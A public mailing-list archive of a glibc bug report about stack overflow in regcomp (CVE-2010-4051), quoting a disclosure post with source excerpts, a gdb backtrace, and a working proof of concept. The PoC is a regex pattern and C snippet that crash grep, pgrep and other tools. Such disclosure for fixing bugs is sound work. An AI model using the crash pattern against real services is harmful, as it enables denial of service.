public inbox for glibc-bugs-regex@sourceware.org help / color / mirror / Atom feed
From: "fweimer at redhat dot com" <sourceware-bugzilla@sourceware.org> To: glibc-bugs-regex@sourceware.org Subject: [Bug regex/18013] New: Stack overflow due to deep recursion in regcomp (CVE-2010-4051) Date: Tue, 24 Feb 2015 12:39:00 -0000 [thread overview] Message-ID: <bug-18013-132@http.sourceware.org/bugzilla/> (raw) https://sourceware.org/bugzilla/show_bug.cgi?id=18013 Bug ID: 18013 Summary: Stack overflow due to deep recursion in regcomp (CVE-2010-4051) Product: glibc Version: unspecified Status: NEW Severity: normal Priority: P2 Component: regex Assignee: unassigned at sourceware dot org Reporter: fweimer at redhat dot com CC: drepper.fsp at gmail dot com This is the first report from <http://seclists.org/fulldisclosure/2011/Jan/78>, included below: - --- 1. RE_DUP_MAX overflow --- The main problem exists in regcomp(3) function of GNU libc implementation. Let`s try understand.. - --- int regcomp (preg, pattern, cflags) regex_t *__restrict preg; const char *__restrict pattern; int cflags; { - --- if we use '{', token type will be OP_OPEN_DUP_NUM. - --- /* This function parse repetition operators like "*", "+", "{1,3}" etc. */ static bin_tree_t * parse_dup_op (bin_tree_t *elem, re_string_t *regexp, re_dfa_t *dfa, re_token_t *token, reg_syntax_t syntax, reg_errcode_t *err) { bin_tree_t *tree = NULL, *old_tree = NULL; int i, start, end, start_idx = re_string_cur_idx (regexp); re_token_t start_token = *token; if (token->type == OP_OPEN_DUP_NUM) { end = 0; start = fetch_number (regexp, token, syntax); <===== CONVERT VALUE - --- let`s see fetch_number => - --- static int fetch_number (re_string_t *input, re_token_t *token, reg_syntax_t syntax) { int num = -1; unsigned char c; while (1) { fetch_token (token, input, syntax); c = token->opr.c; if (BE (token->type == END_OF_RE, 0)) return -2; if (token->type == OP_CLOSE_DUP_NUM || c == ',') break; num = ((token->type != CHARACTER || c < '0' || '9' < c || num == -2) ? -2 : ((num == -1) ? c - '0' : num * 10 + c - '0')); num = (num > RE_DUP_MAX) ? -2 : num; } return num; } - --- now see regex.h to know, what value have RE_DUP_MAX - --- /* Maximum number of duplicates an interval can allow. Some systems (erroneously) define this in other header files, but we want our value, so remove any previous define. */ # ifdef RE_DUP_MAX # undef RE_DUP_MAX # endif /* If sizeof(int) == 2, then ((1 << 15) - 1) overflows. */ # define RE_DUP_MAX (0x7fff) #endif - --- calc_eclosure_iter() will call to calc_eclosure_iter() match time. and crash in malloc(3). Simple Recursion. so we can't use value bigger 0x7fff in {n,}. regcomp(3) should return ERROR if we use more that one time '{' token. They are many vectors attack grep(1): cx () cx64:~$ ls |grep -E ".*{10,}{10,}{10,}{10,}{10,}" Segmentation fault pgrep(1): cx () cx64:~$ pgrep ".*{10,}{10,}{10,}{10,}{10,}" Segmentation fault bregex from bacula-director-common cx () cx64:~$ bregex -f glob-0day.c Enter regex pattern: .*{10,}{10,}{10,}{10,}{10,} Segmentation fault whatis(1): cx () cx64:~$ whatis -r ".*{10,}{10,}{10,}{10,}{10,}" Segmentation fault and more like proftpd. Simple crash for CVE-2010-4051 (gdb) x/i $rip => 0x7ffff7ad3ea2: mov %eax,0x50(%rsp) (gdb) x/i $eax 0x2: Cannot access memory at address 0x2 (gdb) x/i $rsp 0x7fffff5fef90: Cannot access memory at address 0x7fffff5fef90 (gdb) x/i 0x50($rsp) Cannot access memory at address 0x7fffff5fef08 #0 0x00007ffff7ad3ea2 in ?? () from /lib/libc.so.6 #1 0x00007ffff7ad538e in malloc () from /lib/libc.so.6 #2 0x00007ffff7b17d9b in ?? () from /lib/libc.so.6 #3 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 #4 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 #5 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 #6 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 #7 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 ... - ---PoC1--- #include <regex.h> int main(){ regex_t preg; // char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052 char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; CVE-2010-4051 regcomp (&preg, fmt, REG_EXTENDED); return 0; } - ---PoC1--- -- You are receiving this mail because: You are on the CC list for the bug.
next reply other threads:[~2015-02-24 12:39 UTC|newest] Thread overview: 4+ messages / expand[flat|nested] mbox.gz Atom feed top 2015-02-24 12:39 fweimer at redhat dot com [this message] 2015-02-24 12:40 ` [Bug regex/18013] " fweimer at redhat dot com 2015-02-24 12:41 ` fweimer at redhat dot com 2015-02-24 12:44 ` fweimer at redhat dot com
Reply instructions: You may reply publicly to this message via plain-text email using any one of the following methods: * Save the following mbox file, import it into your mail client, and reply-to-all from there: mbox Avoid top-posting and favor interleaved quoting: https://en.wikipedia.org/wiki/Posting_style#Interleaved_style * Reply using the --to, --cc, and --in-reply-to switches of git-send-email(1): git send-email \ --in-reply-to=bug-18013-132@http.sourceware.org/bugzilla/ \ --to=sourceware-bugzilla@sourceware.org \ --cc=glibc-bugs-regex@sourceware.org \ /path/to/YOUR_REPLY https://kernel.org/pub/software/scm/git/docs/git-send-email.html * If your mail client supports setting the In-Reply-To header via mailto: links, try the mailto: linkBe sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox; as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).